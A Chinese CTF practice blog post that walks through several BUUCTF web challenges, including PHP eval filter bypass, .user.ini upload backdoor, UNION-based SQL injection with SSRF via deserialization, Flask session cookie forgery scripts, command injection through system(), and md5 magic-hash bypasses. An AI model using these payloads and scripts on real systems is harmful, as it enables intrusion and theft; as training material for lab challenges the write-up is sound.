首页 > 其他分享 >buu刷题-md

buu刷题-md

时间:2022-10-02 10:59:08浏览次数:51  
标签:md buu flag session cookie key php payload 刷题


title: buu刷题.md
date: 2022-08-21 17:31:28
tags:

[RoarCTF 2019]Easy Calc

打开发现真的是个计算器

1660741184689.png

因为当时学了 ssti 看到这个 就第一时间想到了 ssti 不过看了wp也不是

查看源代码 发现

1660741285414.png

还有一个文件

访问看一下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

发现过滤了这些东西

看别的wp说的是 根据 php字符串解析特性

参数num前增加空格 可以绕过过滤

可成功输出 phpinfo()

这里也发现了这个

查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

不过我也没看懂。。。。

payload

scandir()函数 扫描的目录值,写成数组,返回

然后用var_dump输出

看一下根目录由啥东西

由于这里过滤了 / 所以我们可以ascii码来绕过

http://node4.buuoj.cn:29392/calc.php
? num=var_dump(scandir(chr(47)))

1660741776773.png

发现 f1agg

这里我们用file_get_contents来获取文件中的值

http://node4.buuoj.cn:29392/calc.php
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

得到flag

[SUCTF 2019]CheckIn

<script language='php'><script>

发现能上传文件 应该是文件上传漏洞

先上传一个普通的码试试

抓包看一下

1660784388160.png

显示不合法的后缀

然后尝试 php5 phtml

发现都不行 显示不合法的后缀

现在上传一个 htaccess配置文件

上传成功了 现在尝试发送一个shell

发现是不行的

然后这里有个新的知识点

.user.ini文件

看了p牛的文章

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

这里简单的对.uer.ini进行一个讲解

这个东西我们也可以看成php.ini文件 就是php的配置文件

所以这里我们就可以利用这个配置文件

来使php文件来包含一个我们上传的图片吗

就可以了

这里先看一下如何上传包含图片的配置文件

user.ini

auto_prepend_file=kkkl.jpg

这里的意思就是 在php文件来自动包含包含01.jpg

刚刚我们说了是在php文件中包含01.jpg

所以这里就必须要有一个php文件才可以

所以这个配置文件漏洞的前提就是有个php文件才可以

我们上传一个普通的图片上传成功后发现了一个php文件

1660785633521.png

现在我们上传一个.user.ini

然后我们上传一个图片码 访问index.php就可以包含图片码

[MRCTF2020]Ez_bypass

考点

md5()函数

php中的md5()函数 我们可以通过数组来绕过

因为md5函数无法操作数组返回的值为空都为空的话就可以绕过了

还有php若等于

[网鼎杯 2018]Fakebook

注册一个账号进去之后发现一个连接可以点

1660824130030.png

点进去之后发现地址栏变成了这个

http://e646c56b-ee4b-4eed-a8a3-518d5e411c30.node4.buuoj.cn:81/view.php?no=1

这里存在get传参 可能会有sql注入 我们尝试一下别的参数

输入2发现

报错了 加个引号 发现 报错的是sql 更加确定了是sql的题了

这里输入 1 and 1=1 正常显示

输入 1 and 1=2 发先报错了

所以为数字型注入

输入 order by 5 的时候发现报错了 所以应该是有四列

这里也过滤了

union  select

所以我们可以用/**/来绕过

输入 1660824499961.png

发现回显点在 第二列

所以在第二列开始爆

-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆出表名user

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

爆出列名

no,username,passwd,data,

报数据

1kkkla9b7a196a327330d3287e01cea00c7834ae491da381bdf487e3b63e62b53dec2493257b8dce18e581c60f3b01441adf95b6c913a94bfcc1da3406b803b5171c9O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:0;s:4:"blog";s:8:"kkkl.com";}

发现这里面是序列化后的字符串

这里我们看到了 之前扫到的文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

存在个ssrf 这里我们把

flag写入里面会把flag带出来

所以构造反序列化后的字符串

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct()
    {
        $this->name='kkkl';
        $this->age=1;
        $this->blog='file:///var/www/html/flag.php';
    }
}
$a=new UserInfo();
echo serialize($a);

O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

传入数据库中

因为这个实在data字段的 所以我们传入第四列

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

里面有个链接 发现得到flag

[BJDCTF2020]ZJCTF,不过如此

 <?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php

}
else{
    highlight_file(__FILE__);
}
?> 

这里我们要让 $text这个文件里面的内容为 i have a dream

用到data伪协议就可以绕过 这里有个 文件包含 我们可以用filter伪协议来include next.php

[BSidesCF 2020]Had a bad day

filter伪协议

如果对输入的东西限制 并且必须要用到filter伪协议的话 可以用filter伪协议嵌套来绕过

 /index.php?category=php://filter/convert.base64-encode/index/resource=flag 

在本地也可以试验一下

1660880020493.png

还有个flag.php

现在我们要嵌套一个进去然后读 flag.php的源码

1660880087530.png

发现嵌套之后确实能读到

[HCTF 2018]admin

存在git泄露

分析代码发现知道为admin就可等到flag

这里是flask session 所以这里是客户端session

我们可以伪造session

flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的

读取源码发现secret_key

所以就可以了伪造session了

解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

1660890886330.png

我们把用户名改为admin

加密脚本

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))



1660890972124.png

然后把session传上去就伪造成功amdin了

[WUSTCTF2020]朴实无华

扫到robots.txt

有个/fAke_f1agggg.php是个假的flag

然后我们可以查看返回包消息头 里面有个fl4g.php

访问一下

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?> 

先看如何绕过leval1

intval函数是取整数值

可通通过科学计数法绕过

如果intval函数里面参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对科学计数法+数字则会返回字符串类型

所以这样就可以绕过了

看leval2弱类型

意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,0e215962017

leval3

不能有 cat 不能有空格

但是这里我们可以用tac命令就是倒着显示

空格用 $IFS$9 来绕过

动态函数执行

php中允许函数通过字符串的方式传递给变量 ,然后通过这个变量动态调用这个函数

<?php
//php动态函数调用
function add($a,$b){
	return $a+$b;
}
$func='add';
echo $func(10,20);
//输出30

[BJDCTF2020]Easy MD5

打开之后发现是个查询的框

我们发现响应头里面有个hint

1661068897866.png

直接告诉了我们后端的查询语句

这里用到了一个万能密码

我们可以通过一串字符串加密后使后面恒为真

先看一下md5函数的用法

1661069076053.png

可以看到这里的raw参数是True,意为返回原始16字符二进制格式。

如果这些东西经过加密后为 ' or 'xxxxxxx

这样后端的语句就变为了

select * from admin where password ='' or  'xxxx'

这样如果他为字符型的话就可以使xxxx第一个值为数字这样就了可以恒为真 爆出admin表里面所有的数据了

如果为数字型的话 我们可以使字符串加密后的为 or xxxxxx

后端语句变为了

select * from admin where password =  or xxxxx

所有我们就可以之构造 or xxxxxxx(只需要使第一个x为数字就可以)然后就能是语句恒为真了

这里从大佬里面发现一一个脚本

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

这个脚本直接就可以生成刚才我们说的 值

这里提供一个

ffifdyop

 该字符串md5加密后若raw参数为True时会返回  'or'6<trash> (<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉) 

所以后端语句就变为了

select * from admin  where password=''or '6<trash>'

发送后进入下一关 源代码中发现了

$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend

这里考察了md5若等于

$a不等于b 并且 是两个的md5值相同

这里可以用数组来绕过 也可以用 科学计数法来绕过

科学计数法绕过

==在进行比较的时候会先把两边变量的类型转换为相同的,在进行比较

0e在比较的时候会将其视为科学计数法,所以无论0e后面是什么,都是0的多少次方都是0

所以 如果 一串字符如果经过md5之后 是0e开头的 在经过==的时候就会全部转换为 0的多少次方 所以还是 0

这里列出一部分 md5加密之后还是0e开头的值

ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a

数组绕过

md5()函数是无法处理数组的 如果传入的为数组 就会返回null

这里列举了一些其他的函数

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

这样通过数组绕过也可以通过第三关的到flag

标签:md,buu,flag,session,cookie,key,php,payload,刷题
From: https://www.cnblogs.com/kkkkl/p/16748383.html

相关文章

  • DASCTF-X-CBCTF-2022九月挑战赛-md
    title:DASCTF-X-CBCTF-2022几月挑战赛.mddate:2022-09-1820:24:51tags:DASCTFXCBCTF2022九月挑战赛3d小恐龙这道题经过队友的提示才做出来的。。。。。不......
  • 2022第五空间网络安全初赛-md
    title:2022第五空间网络安全初赛.mddate:2022-09-2011:06:40tags:2022第五空间网络安全初赛5_web_BaliYun简单的文件上传刚开始别人出的很快就以为是不同的文件......
  • 2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛-md
    title:2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛.mddate:2022-09-2322:19:12tags:ezRead一眼看到上面可能是存在任意文件读应该是base64加密过后的......
  • DDCTF2019-HOMEBREW-EVENT-LOOP-md
    title:DDCTF2019HOMEBREWEVENTLOOP.mddate:2022-09-2711:42:22tags:[DDCTF2019]homebreweventloop代码审计fromflaskimportFlask,session,request,Re......
  • SWPUCTF2018SimplePHP-md
    title:SWPUCTF2018SimplePHP.mddate:2022-06-2508:06:23tags:登陆进去之后发现上传文件这里我们试着上传一个shell试试发现过滤了应该直接上传shell不可以这......
  • ciscn2019华北赛区Day1-Web1dropbox-md
    title:ciscn2019华北赛区Day1Web1dropbox.mddate:2022-06-2620:56:10tags:进去之后呢看到一个登录框然后注册一个账号进去看到有上传文件的东西然后试试上传一个......
  • BJDCTF2020Cookie-is-so-stable-md
    title:BJDCTF2020Cookieissostable.mddate:2022-07-0718:45:14tags:进去之后发现这个好像ssti我们输入{{1+2}}返回这个应该时ssti了然后我们输入{{"".__c......
  • PHP伪协议总结-md
    title:PHP伪协议总结.mddate:2022-06-2321:35:32tags:php伪协议浅浅学习file://协议利用条件allow_url_fopen:off/onallow_url_include:off/on作用:访问本地......
  • 安洵杯2019——eazy——web-md
    title:安洵杯2019——eazy——web.mddate:2022-10-0210:11:51tags:[安洵杯2019]easy_web绷不住了。。。。看题把上面get这里应该是可以获取文件cmd是什么现在......
  • Java lamda表达式 Predicate<T>、BiFunction<T,T,R>、FunctionalInterface 应用实例说
    使用相对应的函数式接口,可使编写程序在某些时候变得更高雅和灵活,下面对各种情况进行说明ps:核心原理就是将方法作为一个参数传到另一个方法,使该方法处理内容更丰富和灵......